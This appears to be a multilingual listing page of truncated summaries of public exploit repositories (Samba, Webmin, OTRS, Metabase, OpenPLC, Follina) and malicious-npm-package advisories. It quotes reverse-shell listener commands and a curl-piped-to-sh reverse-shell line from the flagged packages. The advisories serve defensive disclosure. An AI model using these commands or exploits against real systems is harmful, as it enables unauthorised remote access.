CVE-2021-31630

OpenPLC WebServer v3 - RCE authentifié CVE-2021-31630 Cet exploit est basé sur l'exploit de Exploit-DB créé par Fellipe Oliveira. Tout d'abord, s'authentifier Télécharger un fichier C malveillant Le compiler Démarrer le PLC lancer le reverse shell Arrêter le PLC inutile de le faire tourner, le...

CVE-2007-2447

CVE-2007-2447 Exploit CVE-2007-2447 pour Samba 3.0.20 python3 smb3.0.20exp.py -lh localhost -lp local port -t target Créer un écouteur Netcat nc -nlvp 4444 Exécuter le script python3 smb3.0.20exp.py -lh 10.10.16.18 -lp 4444 -t 10.10.10.3...

MAL-2026-17632 Malicious code in internallib_v23 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bf294381eb4f87a0dcccbd00977ac38ab25a8108639c8cc08543c7d0e09b5f36 index.js line 5 exports a function that invokes /bin/bash to curl https://reverse-shell.sh/10.0.19.80:4443 and pipe the response to a shell, deliveri...

Malicious code in internallib_v23 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bf294381eb4f87a0dcccbd00977ac38ab25a8108639c8cc08543c7d0e09b5f36 index.js line 5 exports a function that invokes /bin/bash to curl https://reverse-shell.sh/10.0.19.80:4443 and pipe the response to a shell, deliveri...

Malicious code in internallib_v30 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443...

MAL-2026-17633 Malicious code in internallib_v30 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443...

Malicious code in internallib_v86 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 internallibv86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting...

MAL-2026-17635 Malicious code in internallib_v875 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440 internallibv875 ships an index.js whose exported command function invokes /bin/bash -c with curl piped to sh, fetching a reverse-shell payload from...

Malicious code in internallib_v875 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440 internallibv875 ships an index.js whose exported command function invokes /bin/bash -c with curl piped to sh, fetching a reverse-shell payload from...

bassmaster-rce

bassmaster-rce استغلال ثغرة CVE-2014-7205 عن طريق حقن أكواد جافا سكريبت عشوائية مما يؤدي إلى تنفيذ الأوامر عن بُعد. صادفت هذه المقالة للكاتب LuuPhu مكتوبة بالفياتنامية. نظرًا لأنني كتبت بعض الأكواد بلغة NodeJS لكن لم يسبق لي استغلالها، فقلت لماذا لا أجرب اليوم؟ يتضمن PoC بلغة Python نوعين من...

CVE-2025-55319-PoC

Référence: CVE-2025-55319 Extension VS Code .vsix de preuve de concept pour le challenge HTB "Checkpoint". Une fois installée, l'extension s'active automatiquement et lance un reverse shell PowerShell caché vers l'attaquant. ⚠️ Réservé à un usage autorisé. Ceci est un artefact de CTF/laboratoire...

CVE-2018-3191-Rce-Exploit

CVE-2018-3191-Rce-Exploit المؤلف: Break الخطوة 1: java -jar GenPayload.java output SJpayload.bin, العنوان هو عنوان خادم RMI الخطوة 2:java -jar RMISERVER.jar httpaddress, يستمع خادم RMI على المنفذ 1099 ويقوم بتحميل فئات Reverse عن بعد على خادم الويب الخطوة 3:put two filesreverse shell...

CVE-2025-27591

CVE-2025-27591 مقدمة الإصدارات below الأقل من v0.9.0 معرضة لثغرة تصعيد امتيازات محلية بسبب أن البرنامج ينشئ ملف سجل قابل للكتابة عالميًا، وبدلاً من ذلك، يمكن للمهاجم استبدال ملف السجل برابط رمزي إلى أي ملف حاسم للنظام ويكون قادرًا على تعديله لتسجيل الدخول كجذر. تستهدف الثغرة التالية الملف...

CVE-2025-5548

🐞CVE-2025-5548 Dépassement de tampon dans FreeFloat FTP Server 1.0 🎯 Exploitation d'un dépassement de tampon de pile Ce dépôt contient la documentation et le développement pratique d'un projet de cybersécurité axé sur la rétro-ingénierie et l'exploitation de vulnérabilités au niveau mémoire...

webmin_1.920

CVE-2019-15107 Webmin 1.920 Exécution de commandes à distance non authentifiée Un script python3 pour l'exécution de commandes à distance non authentifiée CVE-2019-15107 Webmin 1.920 qui crée un reverse shell ou un pseudo shell interactif en utilisant mkfifo pour le contournement du pare-feuUn...

OTRS-4.0.1-6.0.1-Remote-Command-Execution

OTRS-4.0.1-6.0.1 Exécution de commande à distance Cet exploit est développé sur la base de https://www.exploit-db.com/exploits/43853 Il effectuera l'authentification auprès du panneau OTRS et fournira un reverse shell. Utilisation : python3 CVE-2017-16921.py CVE-2017-16921: Dans OTRS 6.0.x jusqu'...

Follina

Follina Notes relatives à CVE-2022-30190 FOLLINA : CVE-2022-30190 1. Utilise l'outil de diagnostic du support Microsoft MSDT 2. Exploite la fenêtre de diagnostic ouverte pour le diagnostic et, lorsqu'il est exécuté correctement, donne un shell inversé à l'attaquant. 3. Github : a...

CVE-2004-1561-Icecast-Header-Overwrite-buffer-overflow-RCE-2.0.1-Win32-

CVE-2004-1561-Icecast-Header-Overwrite-buffer-overflow-RCE-2.0.1-Win32- Utilisation Écouteur de reverse shell avec Ncat root@Kali:/TryHackme/Ice nc -nlvp 443 listening on any 443 ... connect to 192.168.92.128 from UNKNOWN 192.168.92.133 49211 Microsoft Windows Version 6.1.7601 Copyright c 2009...

CVE-2024-32002

CVE-2024-32002 Un générateur de reverse shell pour la vulnérabilité gitlab-shell cve 2024-32002 Ceci est encore en phase de test et je le mettrai à jour une fois terminé...

CVE-2023-38646

CVE-2023-38646 - RCE pré-authentification Metabase ⚠️ À des fins éducatives et de recherche de sécurité autorisées uniquement Auteurs originaux de l'exploit Très reconnaissant à l'auteur original du PoC securezeron Guides d'étapes 1. Configurez l'écouteur sur votre machine attaquante : nc -nlvp...